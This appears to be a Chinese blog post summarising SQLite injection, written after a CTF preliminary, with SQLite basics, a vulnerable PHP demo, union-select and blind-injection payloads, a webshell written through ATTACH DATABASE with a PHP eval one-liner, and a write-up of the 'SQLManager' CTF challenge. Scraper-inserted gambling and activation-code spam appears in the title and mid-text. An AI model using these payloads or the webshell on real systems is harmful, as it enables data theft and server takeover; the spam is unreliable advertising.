电银付免费激活码(dianyinzhifu.com):sqlite注入的一点总结
sqlite注入总结
打iisc的预赛遇到了一道sqlite的问题,发现sqlite的注入遇到的很少,于是爽性梳理一下,总结一下。
sqlite基础
sqlite和mysql等照样有些区别的,sqlite的每一个数据库就是一个文件。
建立数据库
sqlite3 test.db
这个下令执行后就会在当前目录下生成对应名称的文件,之后的数据操作都是对该文件的操作。
执行这个下令乐成建立数据库文件之后,将提供一个 sqlite> 提示符。
数据库乐成建立后可以使用 SQLite 的 .databases 下令来检查它是否在数据库列表中
打开数据库
Use ".open FILENAME" to reopen on a persistent database. sqlite> .open sqltest.db
导入导出
, 导出
$sqlite3 testDB.db .dump > testDB.sql
, 导入
$sqlite3 testDB.db < testDB.sql
建立表
语句和mysql差不多
sqlite> create table test( ...> id INT PRIMARY KEY NOT NULL, ...> name char(50) NOT NULL ...> );
查看表
.tables 下令用来列出附加数据库中的所有表。
sqlite> .tables
test
.schema 下令获得表的完整信息:
sqlite> .schema test
CREATE TABLE test(
id INT PRIMARY KEY NOT NULL,
name char(50) NOT NULL
);
值得注意的一点是获得的效果是我们建立表时执行的下令语句,这也是sqlite的特点,之后再说。
插入数据
INSERT INTO 语句用于向数据库的某个表中添加新的数据行。
sqlite> insert into test (id,name) values (1,'alice'); sqlite> insert into test (id,name) values (2,'bob');
查询语句
使用select要害字
sqlite> select * from test; id name ---------- ---------- 1 alice 2 bob sqlite> select name from test; name ---------- alice bob
若是查询效果花样对照乱,需要设置花样化输出。
sqlite_master
sqlite_master表中保留数据库表的要害信息。
这是sqlite_master表的结构
sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (
type text,
name text,
tbl_name text,
rootpage integer,
sql text
);
他保留了执行的sql语句,也是之后注入查询表名列名的要害。
从sqlite_master查表名:
sqlite> select tbl_name from sqlite_master where type='table'; tbl_name ---------- test
获取表名和列名:
sqlite> select sql from sqlite_master where type='table'; sql ---------------------------------------------------------------------------- CREATE TABLE test( id INT PRIMARY KEY NOT NULL, name char(50) NOT NULL )
花样化输出
花样化输出内容,能更直观查看下令执行效果。
sqlite>.header on
sqlite>.mode column
sqlite>.timer on
sqlite>
另有其他的查询语法可以去查询文档。
sqlite注入
Demo代码:
数据库数据:
sqlite> create table user_data(
...> id INT PRIMARY KEY NOT NULL,
...> name char(50) NOT NULL,
...> passwd cahr(50) NOT NULL);
sqlite> insert into user_data (id,name,passwd) values (1,'admin','password');
sqlite> insert into user_data (id,name,passwd) values (2,'bob','wowowow');
sqlite> insert into user_data (id,name,passwd) values (3,'flag','flag{test}');
sqlite> select * from user_data;
1|admin|password
2|bob|wowowow
3|flag|flag{test}
页面:
<html> <body> <form action="" method="POST"> <input type="text" name="id" size="80"> <input type="submit"> </form> </body> </html> <?php class MyDB extends SQLite3 { function __construct() { $this->open('user.db'); } } $db = new MyDB(); if(!$db){ echo $db->lastErrorMsg(); } else { echo "Opened database successfullyn</br>"; } $id = $_POST['id']; $sql =<<<EOF SELECT * from user_data where id='$id'; EOF; $ret = $db->query($sql); if($ret==FALSE){ echo "Error in fetch ".$db->lastErrorMsg(); } else{ while($row = $ret->fetchArray(SQLITE3_ASSOC) ){ echo "ID = ". $row['id'] . "</br>"; echo "NAME = ". $row['name'] ."</br>"; echo "PASS = ". $row['passwd'] ."</br>"; } var_dump($ret->fetchArray(SQLITE3_ASSOC)); } $db->close(); ?>
union select 注入和一些查询payload
以上demo正常的功效是输入id查询数据库中数据.
测试:
正常输入查询
实验闭合单引号:
闭合语句
使用order by确定查询字段数:
1' order by 3;
1' order by 4;
0' union select 1,2,3;
查版本
查版本。
0' union select 1,2,sqlite_version();
表名和列名
查表名和字段。
0' union select 1,2,sql from sqlite_master;
or
0' union select 1,2,sql from sqlite_master where type='table';
or
0' union select 1,2,sql from sqlite_master where type='table' and name='user_data';
或者:
多条纪录时可以使用group_concat聚合或者使用limit
0' union select 1,2,group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --
或者使用limit来输出一行效果
0' union select 1,2,tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1 --
limit后面接的数字是截取的行数,而offest后面接的数字则为第一次返回效果中的删除数。在上述查询中,limit提取了两个表名,然后第一个被offset删除掉,以是我们获得了第二个表名。
另外可以通过下面的payload获取到花样化过的列名:
0' union select 1,2,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(') 1)),instr((substr(sql,instr(sql,'(') 1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') from sqlite_master where type='table' and name='user_data' --
查数据
查数据
0' union select id,name,passwd from user_data;
,:www.huangguan.us是一个提供皇冠代理APP下载、皇冠会员APP下载、皇冠体育最新登录线路、新2皇冠网址的的体育平台。新皇冠体育官网是多年来值得广大客户信赖的平台,我们期待您的到来!
使用group_concat毗邻查询效果
0' union select 1,2,group_concat(passwd) from user_data;
固然,hex,limit,substr等也都可以在注入中用来组织语句。
盲注
和其他注入差不多,枚举几个注入payload:
Bool
bool
没有mid、left等函数
select * from test where id =1 union select 1,length(sqlite_version())=6
sqlite> select * from test union select 1,length(sqlite_version())=6;
id name
---------- ----------
1 1
1 alice
2 bob
Run Time: real 0.003 user 0.000115 sys 0.002050
sqlite> select * from test union select 1,length(sqlite_version())=5;
id name
---------- ----------
1 0
1 alice
2 bob
Run Time: real 0.001 user 0.000133 sys 0.000126
select * from test where id=1 and length(sqlite_version())=5;
sqlite> select * from test where id=1 and length(sqlite_version())=5;
Run Time: real 0.001 user 0.000065 sys 0.000493
sqlite> select * from test where id=1 and length(sqlite_version())=6;
id name
---------- ----------
1 alice
Run Time: real 0.001 user 0.000079 sys 0.000115
select * from test where id=1 and substr(sqlite_version(),1,1)='3';
sqlite> select * from test where id=1 and substr(sqlite_version(),1,1)='3';
id name
---------- ----------
1 alice
Run Time: real 0.000 user 0.000067 sys 0.000039
sqlite> select * from test where id=1 and substr(sqlite_version(),1,1)='2';
Run Time: real 0.000 user 0.000054 sys 0.000031
Sleep
sleep
sqlite没有sleep()函数,然则有个函数randomblob(N),作用是返回一个 N 字节长的包罗伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。
而且sqlite没有if函数,可以使用case来组织条件
select * from test where id=1 and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end);
sqlite> select * from test where id=1 and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end);
Run Time: real 6.195 user 5.804650 sys 0.329666
写shell
写shell依赖sqlite的建立数据库功效。
除了前面提到的 sqlite3 test.db
这种方式还可以通过 ATTACH DATABASE
这种方式来实现。
ATTACH
假设这样一种情形,当在同一时间有多个数据库可用,您想使用其中的任何一个。SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库,使用该下令后,所有的 SQLite 语句将在附加的数据库下执行。
附加:
attach [database] filename as database_name;
作废:
attach [database] filename as database_name;
若是目的数据库存在,则会直接使用该数据库举行附加,把数据库文件名称与逻辑数据库 'database_name' 绑定在一起。若是目的不存在,则会先建立该数据库,若是数据库文件路径设置在web目录下,就可以实现写shell的功效。
要实现写shell,需要如下操作:
通过 attach 在目的目录新建一个数据库文件 => 在新数据库建立表。=> 在表中插入payload
在sqlite shell中实现如下:
然则在我的 demo 中测试时发现,并没有建立对应的文件,应该是没有乐成执行attach和后面的代码。再去看了下前面的demo代码,发现查询操作使用的是 query 方式,在使用 exec 方式的时刻就可以正常利用了。
payload:
';ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>'); --
一道问题
问题叫做SQLManager,页面简朴实现了sqlite数据库的治理,实现的功效只有table的建立,展示,record的插入。
存在源码泄露:
view-source:http://eci-2zeiqyu2obvakg4ee0sx.cloudeci1.ichunqiu.com/.index.php.swp
拿到源码如下:
<?php include 'util.php'; include 'config.php'; error_reporting(0); session_start(); $method = (string) ($_SERVER['REQUEST_METHOD'] ?? 'GET'); $page = (string) ($_GET['page'] ?? 'index'); if (!in_array($page, ['index', 'build', 'modify', 'remove'])) { redirect('?page=index'); } $message = $_SESSION['flash'] ?? ''; unset($_SESSION['flash']); if (in_array($page, ['modify', 'remove']) && !isset($_SESSION['database'])) { flash("Please build database first."); } if (isset($_SESSION['database'])) { $pdo = new PDO('sqlite:db/' . $_SESSION['database']); $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name <> '" . tableName . "' LIMIT 1;"); $tName = $stmt->fetch(PDO::FETCH_ASSOC)['name']; $stmt = $pdo->query("PRAGMA table_info(`{$tName}`);"); $cName = $stmt->fetchAll(PDO::FETCH_ASSOC); } if ($page === 'modify' && $method === 'POST') { $values = $_POST['values']; $stmt = $pdo->prepare("INSERT INTO `{$tName}` VALUES (?" . str_repeat(',?', count($cName) - 1) . ")"); $stmt->execute($values); redirect('?page=index'); } if ($page === 'build' && $method === 'POST' && !isset($_SESSION['database'])) { if (!isset($_POST['table_name']) || !isset($_POST['columns'])) { flash('Parameters missing.'); } $tName = (string) $_POST['table_name']; $ccc = $_POST['columns']; $filename = bin2hex(random_bytes(16)) . '.db'; $pdo = new PDO('sqlite:db/' . $filename); if (!filter($tName)) { flash('表不合法'); } if (strlen($tName) < 4 || 32 < strlen($tName)) { flash('表不合法'); } if (count($ccc) <= 0 || 10 < count($ccc)) { flash('列不合法'); } $sql = "CREATE TABLE {$tName} ("; $sql .= "example1 TEXT, example2 TEXT"; for ($i = 0; $i < count($ccc); $i ) { $column = (string) ($ccc[$i]['name'] ?? ''); $type = (string) ($ccc[$i]['type'] ?? ''); if (!filter($column) || !filter($type)) { flash('列不合法'); } if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) { flash('列不合法'); } $sql .= ', '; $sql .= "`$column` $type"; } $sql .= ');'; $pdo->query('CREATE TABLE `' . tableName . '` (`' . columnName . '` TEXT);'); $pdo->query('INSERT INTO `' . tableName . '` VALUES ("' . ans . '");'); $pdo->query($sql); $_SESSION['database'] = $filename; redirect('?page=index'); } if ($page === 'remove') { $_SESSION = array(); session_destroy(); redirect('?page=index'); } if ($page === 'index' && isset($_SESSION['database'])) { $stmt = $pdo->query("SELECT * FROM `{$tName}`;"); if ($stmt === FALSE) { $_SESSION = array(); session_destroy(); redirect('?page=index'); } $result = $stmt->fetchAll(PDO::FETCH_NUM); } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <link rel="stylesheet" href="style.css"> <script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script> <title>SQLManager</title> </head> <body background="show.jpg"> <h1>SQLManager</h1> <?php if (!empty($message)) { ?> <div class="info">信息 <?= $message ?></div> <?php } ?> <?php if ($page === 'index') { ?> <?php if (isset($_SESSION['database'])) { ?> <h2><?= e($tName) ?> (<a href="?page=remove">删表</a>)</h2> <form action="?page=modify" method="POST"> <table> <tr> <?php for ($i = 0; $i < count($cName); $i ) { ?> <th><?= e($cName[$i]['name']) ?></th> <?php } ?> </tr> <?php for ($i = 0; $i < count($result); $i ) { ?> <tr> <?php for ($j = 0; $j < count($result[$i]); $j ) { ?> <td><?= e($result[$i][$j]) ?></td> <?php } ?> </tr> <?php } ?> <tr> <?php for ($i = 0; $i < count($cName); $i ) { ?> <td><input type="text" name="values[]"></td> <?php } ?> </tr> </table> <input type="submit" value="Insert values"> </form> <?php } else { ?> <h2>建表</h2> <form action="?page=build" method="POST"> <div id="info"> <label>表名 <input type="text" name="table_name" id="table_name" value="输入表名"></label><br> <label>列数 <input type="number" min="1" max="10" id="num" value="1"></label><br> <button id="next">Next</button> </div> <div id="table" class="hidden"> <table> <tr> <th>Name</th> <th>Type</th> </tr> <tr> <td>example1</td> <td>TEXT</td> </tr> <tr> <td>example2</td> <td>TEXT</td> </tr> </table> <input type="submit" value="Create table"> </div> </form> <script> $(',next').on('click', () => { let num = parseInt($(',num').val(), 10); let len = $(',table_name').val().length; if (4 <= len && len <= 32 && 0 < num && num <= 10) { $(',info').addClass('hidden'); $(',table').removeClass('hidden'); for (let i = 0; i < num; i ) { $(',table table').append($(` <tr> <td><input type="text" name="columns[${i}][name]"></td> <td> <select name="columns[${i}][type]"> <option value="INTEGER">INTEGER</option> <option value="REAL">REAL</option> <option value="TEXT">TEXT</option> </select> </td> </tr>`)); } } return false; }); </script> <?php } ?> <?php } ?>
有了源码,逻辑就清晰了许多,源码中有flag表建立和插入flag的操作,可以确定flag存在于数据库中,然则对于表名和flag值都是在最先包罗进来的config.php里界说的。
在源码中的建立表相关代码可以发现,建立表时表名,列名,列类型可能存在SQL注入:
$sql = "CREATE TABLE {$tName} ("; $sql .= "example1 TEXT, example2 TEXT"; for ($i = 0; $i < count($ccc); $i ) { $column = (string) ($ccc[$i]['name'] ?? ''); $type = (string) ($ccc[$i]['type'] ?? ''); if (!filter($column) || !filter($type)) { flash('列不合法'); } if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) { flash('列不合法'); } $sql .= ', '; $sql .= "`$column` $type"; } $sql .= ');'; $pdo->query('CREATE TABLE `' . tableName . '` (`' . columnName . '` TEXT);'); $pdo->query('INSERT INTO `' . tableName . '` VALUES ("' . ans . '");'); $pdo->query($sql);
看一下最终拼接后的sql语句:
CREATE TABLE {$tName} (example1 TEXT, example2 TEXT, `$column` $type);
sqlite_master表是SQLite的系统表。该表纪录该数据库中保留的表、索引、视图、和触发器信息。每一行纪录一个项目。在建立一个SQLIte数据库的时刻,该表会自动建立。sqlite_master表包罗5列。
type列纪录了项目的类型,如table、index、view、trigger。
name列纪录了项目的名称,如表名、索引名等。
tbl_name列纪录所隶属的表名,如索引所在的表名。对于表来说,该列就是表名自己。
rootpage列纪录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL。
sql列纪录建立该项目的SQL语句。
那我们只有只要想办法查sqlite_master表就知道flag表和对应的字段名。连系上面的sql语句,我们可以使用这种方式:
create table aa as select xxx from xxx
同时参数还经过了filter函数的处置,被检测到就显示表名非法。
那么通过表名,列名和类型三个地方传入payload,来拼接出我们想要执行的语句。
然则发现在tbname后还拼接了一些内容会造成滋扰,这里可以通过 反引号 把它包裹起来,由于包裹起来的内容就成为了要害字,就相
于 select xx as key
,看一下这个例子:
同时反引号可以使用[]
来替换绕过过滤。
payload1:
在建立表时,表名: t AS SELECT sql [
列名: abc
列类型: ] FROM sqlite_master;
这时的sql语句就是:
CREATE TABLE t AS SELECT sql [ (example1 TEXT, example2 TEXT, abc ] FROM sqlite_master;);
等价于
CREATE TABLE t AS SELECT sql FROM sqlite_master;
获得了表名和列名,替换语句中的sql和sqlite_master 即可获得flag:
payload2:
t AS SELECT flag_ThE_C0lumn [
abc
]FROM flag_Y0U_c4nt_GUESS;